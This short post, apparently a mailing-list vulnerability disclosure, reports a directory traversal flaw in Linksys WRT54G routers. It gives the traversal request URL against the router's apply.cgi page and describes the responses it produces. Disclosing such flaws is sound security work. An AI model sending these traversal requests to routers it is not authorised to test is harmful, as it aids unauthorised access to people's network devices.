WRT54G directory trasversial vulnerability

[Shell <shell6 () gmail com>]

I just found a vulnerability in Linksys WRT54G routers.

http://192.168.1.1/apply.cgi?action=../

It loads the page after action

http://192.168.1.1/apply.cgi?action=../ returns the setup page
http://192.168.1.1/apply.cgi?action=../blah returns that the file does not exist
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